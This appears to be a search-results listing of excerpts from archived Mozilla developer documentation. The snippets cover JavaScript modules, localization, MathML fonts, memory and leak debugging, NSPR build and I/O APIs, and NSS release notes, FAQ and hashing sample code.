...ta) receivemessage: function(amessage) getappinfo: function getappinfo(aappid) broadcastmessage: function broadcastmessage(amsgname, acontent) registerupdatehandler: function(ahandler) unregisterupdatehandler: function(ahandler) notifyupdatehandlers: function(aapp, amanifest, azippath) _getappdir: function(aid) _writefile: function(apath, adata) dogetlist: function() doexport: function(amsg, amm) doimport: function(amsg, amm) doextractmanifest: function(amsg, amm) dolaunch: function (adata, amm) launch: function launch(amanifesturl, astartpoint, atimestamp, aonsuccess, aonfailure) close: function close(aapp) canceldownload: function canceldownload(amanifesturl, aerror) startofflinecachedownload: function(amanifest, aapp, aprofiledir, aisupdate) computemanifesthash: function...
... function(alocalid) getdefaultcspbylocalid: function(alocalid) getapplocalidbystoreid: function(astoreid) getappbylocalid: function(alocalid) getmanifesturlbylocalid: function(alocalid) getapplocalidbymanifesturl: function(amanifesturl) getcoreappsbasepath: function() getwebappsbasepath: function() _islaunchable: function(aapp) _notifycategoryandobservers: function(subject, topic, data, msg) registerbrowserelementparentforapp: function(amsg, amn) receiveappmessage: function(appid, message) _clearprivatedata: function(appid, browseronly, msg) _sendprogressevent: function() updatestatechanged: function appobs_update(aupdate, astate) applicationcacheavailable: function appobs_cacheavail(aapplicationcache) ...
JavaScript code modules
customizable error reporting. bookmarkhtmlutils.jsm provides utility functions for importing and exporting bookmarks from the old-school "bookmarks.html" style bookmark files. ctypes.jsm provides an interface that allows javascript code to call native libraries without requiring the development of an xpcom component. customizableui.jsm allows you to interact with customizable buttons and items in firefox's main window ui. deferredtask.jsm run a task after a delay. dict.jsm provides an api for key/value pair dictionaries. downloadlastdir.jsm supplies the path to the directory into which the last download occurred. downloads.jsm provides a single entry point to interact with the downloading capabilities of the platform. fileutils.jsm provides helpers for dealing with files. ge...
...tform. fileutils.jsm provides helpers for dealing with files. geometry.jsm provides routines for performing basic geometric operations on points and rectangles. http.jsm a wrapper for xmlhttprequest that provides convenient and simplified api for dealing with http requests. jni.jsm abstracts the js-ctypes to provide an interface that allows javascript code to call code running in native jvms. iso8601dateutils.jsm provides routines to convert between javascript date objects and iso 8601 date strings. log.jsm (formerly log4moz) provides a log4j style api for logging, log messages to various endpoints, such as the browser console or a file on disk. netutil.jsm provides helpful networking utility functions, including the ability to easily copy data from an input stream to an ...
...chronously. openlocationlasturl.jsm provides access to the last url opened using the "open location" option in the file menu. osfile.jsm allows routines to access files. to which can be read, write, rename, create directories,etc. perfmeasurement.jsm provides access to low-level hardware and os performance measurement tools. pluralform.jsm supplies an easy way to get the correct plural forms for the current locale, as well as ways to localize to a specific plural rule. popupnotifications.jsm gives an easy way to present non-modal notifications to users. promise.jsm implements the promises/a+ proposal as known in april 2013. promiseworker.jsm a version of chromeworker which uses promises to return the worker's result instead of using an event to do so. services.jsm provides ge...
Application Translation with Mercurial
duct now or contact the person responsible for localization from the team's page (see above) so he can notify you by mail when the next strings for translation become available. if it is a red text consisting of a number and the word 'missing', then there are untranslated texts and you can move on with this guide. required tools build pre-requisites first, get the required programs to compile mozilla applications like firefox and thunderbird from build instructions. this is only necessary once. mozillabuild must be installed into an absolute file path without whitespaces, else it will break. file comparison program for the translation, it is recommend to use file comparison program to compare the english file (containing the new texts) with the file of your locale (whi...
...underbird/bundles/ in the next step, we will unpack the source code: open an input shell, e.g. by pressing the windows key and r on the keyboard or by calling the "run..." command from the windows "start" button, and then typing cmd and pressing the enter key. launch the installed mozillabuild toolset by launching it with its path, e.g. c:\mozilla\coding\buildtools\mozillabuild\start-shell-msvc2010.bat you can autocomplete the file path after typing a few characters and then pressing the tabulator key. if you launch the start-shell-l10n.bat, compiling features will be disabled. you can create translation patches, but creating language packs for the application, binary repacks of the application (changing the localization of the program), and compiling the application likely won't wo...
...ccording to them: check your localization team's page by clicking on the team with your language code (e.g. "de" for german) for a style guide (e.g. style guide for german). transvision offers searching for texts and text ids ("entities" or "keys"), allowing to quickly find translations for already translated texts. microsoft's terminology search allows fast lookups of localized technical terms. choosing what to translate go to the localization status page and click on the '<number> missing' label of the firefox branch on which you want to translate, e.g. fx_aurora. the page which opens has a bar holding information about how many texts (strings) have already been translated, how many there are in english and your locale and have the same text, and how many are missing in your local.
Fonts for Mozilla's MathML engine
stall the font" button from the window that opens. if desired, you may also do the same for the other font files. note: a deprecated version of stix is preinstalled starting with os x lion and should ensure relatively good mathml rendering. enhancement requests have been submitted to apple to ship opentype math fonts in the default installation. if you have a developer account, these are problems 16841023 and 17021145. linux install the latin modern math, stix or xits fonts, which are generally available from your package manager. on debian/ubuntu/mint and other debian-based distributions, use the following command: sudo apt-get install fonts-lmodern fonts-stix on fedora and other fedora-based distributions, use the following command (stix-math-fonts is often already installed): su...
...t and regenerate the fontconfig cache: ln -sf /etc/fonts/conf.avail/09-texlive-fonts.conf /etc/fonts/conf.d/ fc-cache -sf android you must use the mathml-fonts add-on. note: there is an enhancement request opened on the noto bug tracker to improve math support. firefox os you must use the mathml-fonts add-on. note: we plan to bundle a math font in the default installation. other systems on other systems, consider installing a math font using your package manager. note that these fonts are generally delivered with tex distributions such as tex live, but you might need to follow specific instructions so that your system is aware of the fonts. as a last resort, install the mathml fonts add-on. advanced setup arabic mathematical alphabetic symbols currently, very few fonts have ...
...stallation without administrator privilege if you need to install fonts on a system without adminstrator privilege, the easiest option is to use math font the mathml-fonts add-on. note that using the add-on is not optimal since it forces your gecko browser to load a css stylesheet on each page you visit as well as web math fonts on all pages with mathml content. a better alternative on unix systems is to install the otf files for latin modern math and stix into some local font folder and (if necessary) to run fc-cache on it. on os x and linux, the standard paths are ~/library/fonts/ and ~/.fonts. fonts with a math table you can actually render mathml using any font with a math table and related open font format features. a list of such math fonts is provided below. you can use the advance...
Mozilla MathML Status
n elements element [- attribute] notes mi implemented. the mathvariant attribute is fully supported starting with (firefox 28.0 / thunderbird 28.0 / seamonkey 2.25). see bug 114365. mn implemented. mo implemented. mo - linebreaking attributes, indentation attributes not implemented. see bug 534962. mtext implemented. mspace implemented. mspace - linebreak not implemented. see bug 534962. ms implemented. general layout schemata element notes mrow implemented. mfrac implemented. msqrt implemented. mroot implemented. mstyle implemented. we are only interested in supporting attributes "inherited from the surround...
...we are only interested in supporting attributes "inherited from the surrounding context", which are those effectively used in practice. see bug 838509. merror implemented. mpadded implemented. mphantom implemented. mfenced implemented. menclose implemented. script and limit schemata element [- attribute] notes msub implemented. msup implemented. msubsup implemented. munder implemented. mover implemented. munderover implemented. mmultiscripts implemented. tabular math element [- attribute] notes mtable implemented. mtable - alignmentscope not implemented. see bug 122253. mtable - co...
...cing not implemented. see bug 356870. mtr implemented. mlabeledtr not implemented. see bug 689641. mtd implemented. * - groupalign. not implemented. see bug 122253. maligngroup not implemented. see bug 122253. malignmark not implemented. see bug 122253. elementary math element [- attribute] notes mstack not implemented. see bug 534967. mlongdiv not implemented. see bug 534967. msgroup not implemented. see bug 534967. msrow not implemented. see bug 534967. mscarries not implemented. see bug 534967. mscarry not implemented. see bug 534967. msline not implemented. see bug 534967. other elements element [- ...
MathML Demo: <mfrac> - fractions
ⅆ t ) ∥ with some real math in it. ...
...ath in it. ...
...ge html content <div class="background"></div> <math display="block"> <mrow> <msub> <mi>z</mi> <mi>&alpha;</mi> </msub> <mrow> <mo>(</mo> <mi>f</mi> <mo>)</mo> </mrow> <mo>=</mo> <mfrac> <mn>1</mn> <mrow> <mn>2</mn> <mi>i</mi> <mo>&thinspace;</mo> <mi>cos</mi> <mo>(</mo> <mfrac> <mrow> <mi>&alpha;</mi> <mi>&pi;</mi> </mrow> <mn>2</mn> </mfrac> <mo>)</mo> </mrow> </mfrac> <mrow> <msub> <mo>&int;</mo> <mi>c</mi> </msub> <mfrac> <mrow> <mi>f</mi> <mo stretchy='false'>(</mo> <mi>i</mi> <mi>z</mi> <mo stretchy='false'>)</mo> <msup> <mrow> <mo>(</mo> <mo>-</mo> <mi>z</mi> <mo>)</mo> </mrow> <mi>&alpha;</mi> </msup> </mrow> <mrow> <msup> <mi>e</mi> <mrow> <mn>2</mn> <mi>&pi;</mi> <mi>z</mi> </mrow> </msup> <mo>-</mo> <mn>1</mn> </mrow> </mfrac> </mrow> <mi>d</mi> <mi>z</mi> </mrow...
Using the viewport meta tag to control layout on mobile browsers
...
...the default ratio is true only when the viewport scale equals 1. otherwise, the relationship between css pixels and device pixels depends on the current zoom level. viewport width and screen width sites can set their viewport to a specific size. for example, the definition "width=320, initial-scale=1" can be used to fit precisely onto a small phone display in portrait mode. this can cause problems when the browser doesn't render a page at a larger size. to fix this, browsers will expand the viewport width if necessary to fill the screen at the requested scale. this is especially useful on large-screen devices like the ipad. (allen pike's choosing a viewport for ipad sites has a good explanation for web developers.) for pages that set an initial or maximum scale, this means the width prope...
...t (rather than zoom in) to fit the screen: <meta name="viewport" content="width=500, initial-scale=1"> other attributes that are available are minimum-scale, maximum-scale, and user-scalable. these properties affect the initial scale and width, as well as limiting changes in zoom level. not all mobile browsers handle orientation changes in the same way. for example, mobile safari often just zooms the page when changing from portrait to landscape, instead of laying out the page as it would if originally loaded in landscape. if web developers want their scale settings to remain consistent when switching orientations on the iphone, they must add a maximum-scale value to prevent this zooming, which has the sometimes-unwanted side effect of preventing users from zooming in: <meta name="viewpo...
Mozilla Development Strategies
at code someday. it's easier to do it right once, when your mind is in the problem, than to do it once quickly and then have to come back and do it again the right way. the only thing worse than not understanding someone else's code is not understanding your own. test your code qa's job is to assure quality, not to add quality. that's your job. it's your responsibility to find and fix the problems in your code before checking in. when you land your bug-free code, it's qa's job to assure others that it's really bug free. make sure you appreciate anyone who finds a bug in your code. appreciate it even more if they find it before you ship. they're giving you a second chance to get it right before it becomes a bug that affects users. minimize how you are affected by regressions unless you a...
...rashers, big rewrites for performance, etc.) which can take several days or weeks to complete, plus the time for reviews. in your other trees, work on smaller, easier bugs. pick bugs that won't cause conflicts with the work you're doing in your primary tree. pick bugs that should only take you a few hours or a day to fix. in theory, fixes for these bugs will be quick to review. if you have problems finding smaller, easier bugs to work on, start by looking for crashers. maybe the problem can be turned into an assert, or fixed altogether. you can use talkback queries or bugzilla queries to find crashers. look for problems in existing code. find and fix string usage problems. find and fix bad xpcom macro usage. switch some code over to nscomptrs. look for xxx or todo in the code, verify the c...
...iew. a twenty line patch doesn't take twice as long to review as a ten line patch, it usually takes much more time. if you can divide and conquer what you are working on into smaller chunks, you will find you'll get faster reviews. of course, not everything can be divided up. and, shorter fixes aren't necessarily better than longer ones. having parallel trees should allow you to work on other items while you are awaiting reviews. get advice before working on a patch or feature, instead of after if you are blocked, or stumped as to what to work on, talk to a lead sooner rather than later. most likely they will have a bug they can hand off to you, or they can help get you unblocked. since they are going to be reviewing your code later, run your plan of attack by them first. it's better to h...
Memory reporting
g it is (via moz_malloc_usable_size). all this is probably not what you'd expect, but the above functions have the following crucial features. they let you measure the mystring object itself or not as necessary. this is important because sometimes an object might be embedded in another object that is measured separately. and the names make it clear exactly what is being measured. on platforms that allow it, they count the actual memory in use, including "slop" bytes caused by the heap allocator rounding up request sizes (a.k.a. internal fragmentation). if slop bytes aren't measured they'll end up in about:memory's heap-unclassified entry, which is bad. the size is not computed analytically. for example, sizeof doesn't appear anywhere. this is a good thing, because computing sizes ana...
... doesn't count slop, and it is much more error-prone than using moz_malloc_usable_size. they are flexible and integrate well with dmd. the amallocsizeof parameter allows mozilla::mallocsizeof functions with dmd-specific hooks to be passed in when they are used by memory reporters, but functions without such hooks (such as moz_malloc_size_of) can also be passed in when they are used in other circumstances. some other things to note. please use size_t for the sizes in functions like this. although nsimemoryreporter uses int64_t, this is because (a) you can't use size_t in idl, and (b) not every "amount" is a bytes measurement. so it's best to mostly use size_t and convert to int64_t as late as possible. you don't always need both sizeofexcludingthis and sizeofincludingthis. implement on...
...rriding from happening. other considerations a number of the existing basic data structures already have sizeof{in,ex}cludingthis functions, e.g. nstarray and nsthashtable. nsthashtable's functions take an extra argument which is a pointer to a function that measures the memory usage of any structures pointed to by entries in the hash table. sometimes you may need variations on the above forms. for example, if you have a function that just measures one member mfoo of an object, it might be called sizeoffoo. try to make the names descriptive enough that it's clear what's being measured. sometimes you might want to split the measurements of an object into two or more numbers, e.g. because you want to show them separately in about:memory. in this case it's often clearer to increment th...
Refcount tracing and balancing
refcount tracing and balancing are advanced techniques for tracking down leak of refcounted objects found with bloatview. the first step is to run firefox with refcount tracing enabled, which produces one or more log files. refcount tracing logs calls to addref and release, preferably for a particular set of classes, including call-stacks in symbolic form (on platforms that support this). refcount balancing is a follow-up step that analyzes the resulting log to help a developer figure out where refcounting went wrong. how to build for refcount tracing build with --enable-debug or --enable-logrefcnt. how to run with refcount tracing on there are several environment variables that can be used. first, you select one of three environment variables to choose what kind of logging you ...
...ut xpcom_mem_log_classes and/or xpcom_mem_log_objects, because without some filtering the logging will be completely useless due to how slow the browser will run and how large the logs it produces will be. xpcom_mem_comptr_log this environment variable enables logging of additions and releases of objects into nscomptrs. this requires c++ dynamic casts, so it is not supported on all platforms. ...
...this results in slower code, but at least you get some data about where the leaks might be occurring from. ...
turbostat
prints various measurements, including numerous per-cpu measurements. this article provides an introduction to using it. note: the power profiling overview is worth reading at this point if you haven't already. it may make parts of this document easier to understand. ...
...surements. this article provides an introduction to using it. note: the power profiling overview is worth reading at this point if you haven't already. it may make parts of this document easier to understand. ...
...8 0 11.78 3.10 1.13 62.70 40 2 6 782 21.15 3698 3398 0 11.92 3 3 702 19.14 3670 3398 0 8.39 3.09 2.03 67.36 39 3 7 648 17.67 3667 3398 0 9.85 the man page has good explanations of what each column measures. the various "watt" measurements come from the intel rapl msrs. if you run with the -s option you get a smaller range of measurements that fit on a single line, like the following: avg_mhz %busy bzy_mhz tsc_mhz smi cpu%c1 cpu%c3 cpu%c6 cpu%c7 coretmp pkgtmp pkg%pc2 pkg%pc3 pkg%pc6 pkg%pc7 pkgwatt corwatt gfxwatt 3614 97.83 3694 3399 0 2.17 0.00 0.00 0.00 77 77 0.00 0.00 0.00 0.00 67.50 5...
Leak And Bloat Tests
method current method: measure leaks and bloats, in a similar way to firefox (using xpcom_mem_leak_log and --trace-malloc). ...
... method current method: measure leaks and bloats, in a similar way to firefox (using xpcom_mem_leak_log and --trace-malloc). ...
...user_pref("mail.server.server2.type", "pop3"); user_pref("mail.server.server2.username", "tinderbox"); user_pref("mail.smtp.defaultserver", "smtp1"); user_pref("mail.smtpserver.smtp1.hostname", "tinderbox"); user_pref("mail.smtpserver.smtp1.username", "tinderbox"); user_pref("mail.smtpservers", "smtp1"); user_pref("mail.startup.enabledmailcheckonce", true); user_pref("mailnews.start_page_override.mstone", "1.9pre"); user_pref("mail.shell.checkdefaultclient", false); // ensure os x and outlook/oe books are disabled user_pref("ldap_2.servers.osx.position", 0); user_pref("ldap_2.servers.oe.position", 0); preferences in generated profile, but not set: user_pref("mail.root.none", "/home/moztest/.thunderbird/t7i1txfw.minimum/mail"); user_pref("mail.root.pop3", "/home/moztest/.thunderbird/t7i1txfw...
Creating a Cookie Log
change to your firefox directory (usually c:\program files\mozilla firefox) type "set nspr_log_file=c:\temp\cookie-log.txt", enter type "set nspr_log_modules=cookie:4" and press enter run firefox by typing "firefox.exe" and pressing enter. ...
... change to your firefox directory (usually c:\program files\mozilla firefox) type "set nspr_log_file=c:\temp\cookie-log.txt", enter type "set nspr_log_modules=cookie:4" and press enter run firefox by typing "firefox.exe" and pressing enter. ...
... change to your firefox directory (usually c:\program files\mozilla firefox) type "set nspr_log_file=c:\temp\cookie-log.txt", enter type "set nspr_log_modules=cookie:4" and press enter run firefox by typing "firefox.exe" and pressing enter. ...
NSPR build instructions
prerequisites on windows, the nspr build system needs gnu make and a unix command-line utility suite such as mks toolkit, cygwin, and msys. the easiest way to get these tools is to install the mozillabuild package. introduction the top level of the nspr source tree is the mozilla/nsprpub directory. although nsprpub is a subdirectory under mozilla, nspr is independent of the mozilla client source tree. building nspr consists of three steps: run the configure script. you may override the compilers (the cc environment variable) or specify options. ...
...build package. introduction the top level of the nspr source tree is the mozilla/nsprpub directory. although nsprpub is a subdirectory under mozilla, nspr is independent of the mozilla client source tree. building nspr consists of three steps: run the configure script. you may override the compilers (the cc environment variable) or specify options. build the libraries build the test programs for example, # check out the source tree from mercurial hg clone https://hg.mozilla.org/projects/nspr # create a build directory mkdir target.debug cd target.debug # run the configure script ../nspr/configure [optional configure options] # build the libraries gmake # build the test programs cd pr/tests gmake on mac os x, use make, which is gnu make. configure options although nspr uses aut...
...cify the --enable-win32-target=win95 configure option. --enable-debug-rtl this option is only used on windows. nspr debug build uses the release c run-time library by default. to generate a debug build that uses the debug c run-time library, specify the --enable-debug-rtl configure option. makefile targets all (default) clean realclean distclean install release running the test programs the tests were built above, in the pr/tests directory. on mac os x, they can be executed with the following: /bin/sh: $ cd pr/tests $ dyld_library_path=../../dist/lib ./accept pass $ $ # to run all the nspr tests... $ $ dyld_library_path=../../dist/lib ../../../nspr/pr/tests/runtests.sh ../.. ...
Nonblocking IO In NSPR
central thread invokes that io function on the file descriptor. creating a nonblocking socket only sockets can be made nonblocking. regular files always operate in blocking mode. this is not a serious constraint as one can assume that disk i/o never blocks. fundamentally, this constraint is due to the fact that nonblocking i/o and <tt>select()</tt> are only available to sockets on some platforms (e.g., winsock). in nspr, a new socket returned by <tt>pr_newtcpsocket()</tt> or <tt>pr_newudpsocket()</tt> is always created in blocking mode. one can make the new socket nonblocking by using <tt>pr_setsockopt()</tt> as in the example below (error checking is omitted for clarity): <tt>prfiledesc *sock;</tt> <tt>printn optval = 1;</tt> <tt>sock = pr_newtcpsocket();</tt> /* * make the socket nonb...
...cking */ pr_setsockopt(sock, pr_sockopt_nonblocking, &optval, sizeof(optval)); programming constraints there are some constraints due to the use of nt asynchronous i/o in the nspr. in nspr, blocking sockets on nt are associated with an i/o completion port. once associated with an i/o completion port, we can't disassociate the socket from the i/o completion port. i have seen some strange problems with using a nonblocking socket associated with an i/o completion port. so the first constraint is: the blocking/nonblocking io mode of a new socket is committed the first time a potentially-blocking io function is invoked on the socket. once the io mode of a socket is committed, it cannot be changed. the potentially-blocking io functions include <tt>pr_connect()</tt>, <tt>pr_accept()</tt>, <tt>...
...cket). the tcp connection on that socket has been closed (end of stream). these two cases can be distinguished by <tt>pr_poll()</tt>. if <tt>pr_poll()</tt> reports that the socket is readable (i.e., <tt>pr_poll_read</tt> is set in <tt>out_flags</tt>), and <tt>pr_available()</tt> returns 0, this means that the socket connection is closed. current status implemented across all supported platforms. original document information author: wan-teh chang last updated date: october 30, 1997 ...
Dynamic Library Linking
library returns, funcptr is the value of the function pointer you want to look up, and the variable lib references the main executable program. you can then call pr_findsymbol on lib to look up other symbols defined in the main program. remember to call pr_unloadlibrary(lib) to close the library handle when you are done. platform notes to use the dynamic library loading functions on some platforms, certain environment variables must be set at run time, and you may need to link your executable programs using special linker options. this section summarizes these platform idiosyncrasies. for more information, consult the man pages for ld and dlopen (or shl_load on hp-ux) for unix, and the loadlibrary documentation for win32. dynamic library search path exporting symbols from the main exe...
... dynamic library search path exporting symbols from the main executable program dynamic library search path the dynamic library search path is the list of directories in which to look for a dynamic library. each platform has its own standard directories in which to look for dynamic libraries, plus a customizable list of directories specified by an environment variable. on most unix systems, this environment variable is ld_library_path. these systems typically use dlopen to load a dynamic library. hp-ux uses shl_load to load dynamic libraries, and the environment variable specifying the dynamic library search path is shlib_path. moreover, the executable program must be linked with the +s option so that it will search for shared libraries in the directories specified by shlib_path a...
...ath at run time. alternatively, you can enable the +s option as a postprocessing step using the chatr tool. for example, link your executable program a.out without the +s option, then execute the following: chatr +s enable a.out on rhapsody, the environment variable is dyld_library_path. on win32, the environment variable is path. the same search path is used to search for executable programs and dlls. exporting symbols from the main executable program on some systems, symbols defined in the main executable program are not exported by default. on hp-ux, you must link the executable program with the -e linker option in order to export all symbols in the main program to shared libraries. if you use the gnu compilers (on any platform), you must also link the executable program with th...
PR_NormalizeTime
returns nothing; the time parameter is altered by the callback function. ...
... returns nothing; the time parameter is altered by the callback function. ...
...or example, suppose you want to compute the day of week for 3 march 1998. you can set tm_mday to 3, tm_month to 2, and tm_year to 1998, and all the other fields to 0, then call pr_normalizetime() with pr_gmtparameters. on return, tm_wday (and tm_yday) are set for you. to convert from one time zone to another. for example, if the input argument time is in time zone a and the input argument params represents time zone b, when pr_normalizetime() returns, time will be in time zone b. ...
PR_SetConcurrency
on those where it is not available, pr_setconcurrency is ignored. virtual processors are actuallyglobal threads, each of which is designed to support an arbitrary number oflocal threads. ...
...on those where it is not available, pr_setconcurrency is ignored. virtual processors are actuallyglobal threads, each of which is designed to support an arbitrary number oflocal threads. since global threads are scheduled by the host operating system, this model is particularly applicable to multiprocessor architectures, where true parallelism is possible. ...
...not available, pr_setconcurrency is ignored. virtual processors are actuallyglobal threads, each of which is designed to support an arbitrary number oflocal threads. since global threads are scheduled by the host operating system, this model is particularly applicable to multiprocessor architectures, where true parallelism is possible. however, it may also prove advantageous on uniprocessor systems to reduce the impact of having a locally scheduled thread calling incidental blocking functions. in such cases, all the threads being supported by the virtual processor will block, but those assigned to another virtual processor will be unaffected. ...
NSPR
nspr api reference the reference describes each api public macro, structure and function in the nspr api. ...
...build instructions. mac: install the macports nspr package, or the homebrew nspr package. ubuntu: install the libnspr4-dev package via apt-get. debian: install the libnspr4-dev package via apt-get. ...
...he libnspr4-dev package via apt-get. debian: install the libnspr4-dev package via apt-get. opensuse linux: install one or more of the following via yast or zypper : mozilla-nspr : binary libraries for your platform mozilla-nspr-32bit : binary libraries needed to run 32-bit programs on a 64-bit os mozilla-nspr-devel : files needed (in addition to the above libraries) to compile programs using nspr mozilla-nspr-debuginfo : debug information (including build symbols) for package mozilla-nspr mozilla-nspr-debuginfo-32bit : debug information (including build symbols) for package mozilla-nspr-32bit mozilla-nspr-debugsource : debug sources for all of the above community view mozilla forums... mailing list newsgroup rss feed related topics necko, nss ...
NSS FAQ
Mozilla › Projects › NSS › FAQ
ntains sslref or makes it available. it was built as an example of an ssl implementation, not for creating production applications. nss was designed from the ground up for use by commercial developers. it provides a complete software development kit that uses the same architecture used to support security features in many client and server products from netscape and other companies. what platforms and development environments are supported? this section is out of date iplanet e-commerce solutions has certified nss 3.1 on 18 platforms, including aix 4.3, hp-ux 11.0, red hat linux 6.0, solaris (2.6 or later), windows nt (4.0 or later), and windows 2000. other contributors are in the process of certifying additional platforms. the nss 3.1 api requires c or c++ development environments. for...
..., pkcs #12, s/mime, and x.509 v3 certificates. for complete details, see encryption technologies available in nss 3.11 what is the relationship between nss and psm? personal security manager (psm) is built on top of nss. it consists of libraries and a daemon designed to support cross-platform development of security-enabled client applications. the psm binary provides a client module that performs cryptographic operations on behalf of applications. netscape personal security manager ships with netscape 6 and the gateway connected touch pad with instant aol, and is also available for use with communicator 4.7x. where can i get the source? for instructions on how to check out and build the nss source code, see build instructions for nss. how much does it cost? nss source code and binarie...
...client authentication) to help jump start the integration process. however, there is little or no documentation currently available for the rest of the nss api. if your application requires sophisticated certificate management, smart card support, or hardware acceleration, your integration effort will be more extensive. where can i download the nss tools? binary builds of nss for several platforms including the command-line tools can be downloaded from http://ftp.mozilla.org/pub/mozilla.o...y/nss/releases/. nspr, which you will need as well, can be downloaded from http://ftp.mozilla.org/pub/mozilla.org/nspr/releases/. how can i learn more about tls? see https://developer.mozilla.org/docs/glossary/tls. licensing questions how is nss licensed? nss is available under the mozilla public l...
FIPS Mode - an explanation
nes and keys it contains. it may not do any cryptographic operations that involve the use of cryptographic keys, nor allow any of the keys or certificates it holds to be seen or used, except when a user has successfully authenticated to it. if users authenticate to it with a password, it must ensure that their passwords are strong passwords. it must implement the us government standard algorithms (also specified in other fips documents) such as aes, triple-des, sha-1 and sha-256, that are needed to do whatever job the application wants it to perform. it must generate or derive cryptographic keys and store them internally. except for "public keys", it must not allow any keys to leave it (to get outside of it) unless they are encrypted ("wrapped") in a special way. this makes it difficul...
... for users. in fips mode, every user must have a good strong "master password", and must enter it each time he starts or restarts firefox before he can visit any web sites that use cryptography (https). firefox can only use the latest version of ssl, known as "tls", and not the older ssl 2 or ssl 3.0 protocols, and firefox can only talk to those servers that use fips standard encryption algorithms such as aes or triple-des. servers that can only use non-fips-approved encryption, such as rc4, cannot be used in fips mode. how is fips mode different from normal non-fips mode? in normal non-fips mode, the "master password" is optional and is allowed to be a weak short password. the user is only required to enter his master password to use his own private keys (if he has any) or to access...
...ak short password. the user is only required to enter his master password to use his own private keys (if he has any) or to access his stored web-site passwords. the user is not required to enter the master password to visit ordinary https servers, nor to view certificates he has previously stored. in non-fips mode, nss is willing and able to use popular non-fips approved cryptographic algorithms, such as rc4 and md5, to communicate with older https servers. nss divides its operations up into two "devices" rather than just one. one device does all the operations that may be done without needing to authenticate, and the other device stores the user's certificates and private keys and performs operations that use those private keys. how do i put firefox into fips mode? instructions for ...
NSS 3.43 release notes
ssl_sendcertificaterequest - allow server to request post-handshake client authentication. to use this both peers need to enable the ssl_enable_post_handshake_auth option. ...
...nable the ssl_enable_post_handshake_auth option. ...
...ntly not tls 1.3 compliant due to bug 1532312 notable changes in nss 3.43 the following ca certificates were added: cn = emsign root ca - g1 sha-256 fingerprint: 40f6af0346a99aa1cd1d555a4e9cce62c7f9634603ee406615833dc8c8d00367 cn = emsign ecc root ca - g3 sha-256 fingerprint: 86a1ecba089c4a8d3bbe2734c612ba341d813e043cf9e8a862cd5c57a36bbe6b cn = emsign root ca - c1 sha-256 fingerprint: 125609aa301da0a249b97a8239cb6a34216f44dcac9f3954b14292f2e8c8608f cn = emsign ecc root ca - c3 sha-256 fingerprint: bc4d809b15189d78db3e1d8cf4f9726a795da1643ca5f1358e1ddb0edc0d7eb3 cn = hongkong post root ca 3 sha-256 fingerprint: 5a2fc03f0c83b090bbfa40604b0988446c7636183df9846e17101a447fb8efd6 the following ca certi...
NSS 3.47 release notes
- [cid 1242894][cid 1242852] unused values bug 1580126 - fix build failure on aarch64_be while building freebl/gcm bug 1385039 - build nspr tests as part of nss continuous integration bug 1581391 - fix build on openbsd/arm64 after bug #1559012 bug 1581041 - mach-commands -> mach-completion bug 1558313 - code bugs found by clang scanners. ...
...1242852] unused values bug 1580126 - fix build failure on aarch64_be while building freebl/gcm bug 1385039 - build nspr tests as part of nss continuous integration bug 1581391 - fix build on openbsd/arm64 after bug #1559012 bug 1581041 - mach-commands -> mach-completion bug 1558313 - code bugs found by clang scanners. ...
...ug 1577359 - build atob and btoa for thunderbird bug 1579036 - confusing error when trying to export non-existent cert with pk12util bug 1578626 - [cid 1453375] ub: decrement nullptr. bug 1578751 - ensure a consistent style for pk11_find_certs_unittest.cc bug 1570501 - add cmac to freebl and pkcs #11 libraries bug 657379 - nss uses the wrong oid for signaturealgorithm field of signerinfo in cms for dsa and ecdsa bug 1576664 - remove -mms-bitfields from mingw nss build. bug 1577038 - add pk11_getcertsfromprivatekey to return all certificates with public keys matching a particular private key this bugzilla query returns all the bugs fixed in nss 3.47: https://bugzilla.mozilla.org/buglist.cgi?resolution=fixed&classification=components&query_format=advanced&product=nss&target_milestone...
NSS 3.50 release notes
requires nspr 4.25 or newer. nss 3.50 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_50_rtm/src/ other releases are available in nss releases. notable changes in nss 3.50 verified primitives from hacl* were updated, bringing performance improvements for several platforms. note that intel processors with sse4 but without avx are currently unable to use the improved chacha20/poly1305 due to a build issue; such platforms will fall-back to less optimized algorithms. see bug 1609569 for details. updated dtls 1.3 implementation to draft-30. see bug 1599514 for details. added nist sp800-108 kbkdf - pkcs#11 implementation. see bug 1599603 for details. bugs...
...portant with the increased kdf iteration counts. ...
... bug 1547639 - update zlib in nss to 1.2.11 bug 1609181 - detect arm (32-bit) cpu features on freebsd bug 1602386 - fix build on freebsd/powerpc* bug 1608151 - introduce nss_disable_altivec bug 1612623 - depend on nspr 4.25 bug 1609673 - fix a crash when nss is compiled without libnssdbm support, but the nssdbm shared object is availa...
NSS Sample Code Sample_1_Hashing
e the hash of a file and save it to another file. this program illustrates the use of nss message apis. sample code 1 /* nspr headers */ #include <prprf.h> #include <prtypes.h> #include <plgetopt.h> #include <prio.h> /* nss headers */ #include <secoid.h> #include <secmodt.h> #include <sechash.h> typedef struct { const char *hashname; secoidtag oid; } nametagpair; /* the hash algorithms supported */ static const nametagpair hash_names[] = { { "md2", sec_oid_md2 }, { "md5", sec_oid_md5 }, { "sha1", sec_oid_sha1 }, { "sha256", sec_oid_sha256 }, { "sha384", sec_oid_sha384 }, { "sha512", sec_oid_sha512 } }; /* * maps a hash name to a secoidtag. * returns null if the name is not a supported algorithm */ static secoidtag hashnametooidtag(const char *hashnam...
... * it writes out the digest as a hexadecimal string. */ static int digestfile(prfiledesc *outfile, prfiledesc *infile, ...
... * it writes out the digest as a hexadecimal string. ...
sample1
1. a program to compute the hash of a file and save it to another file. /* nspr headers */ #include <prprf.h> #include <prtypes.h> #include <plgetopt.h> #include <prio.h> #include <prprf.h> /* nss headers */ #include <secoid.h> #include <secmodt.h> #include <sechash.h> typedef struct { const char *hashname; secoidtag oid; } nametagpair; /* the hash algorithms supported */ static const nametagpair hash_names[] = { { "md2", sec_oid_md2 }, { "md5", sec_oid_md5 }, { "sha1", sec_oid_sha1 }, { "sha256", sec_oid_sha256 }, { "sha384", sec_oid_sha384 }, { "sha512", sec_oid_sha512 } }; /* maps a hash name to a secoidtag. * returns null if the name is not a supported algorithm */ static secoidtag hashnametooidtag(const char ...
... * it writes out the digest as a hexadecimal string. */ static int digestfile(prfiledesc *outfile, prfiledesc ...
... * it writes out the digest as a hexadecimal string. ...
NSS sources building testing
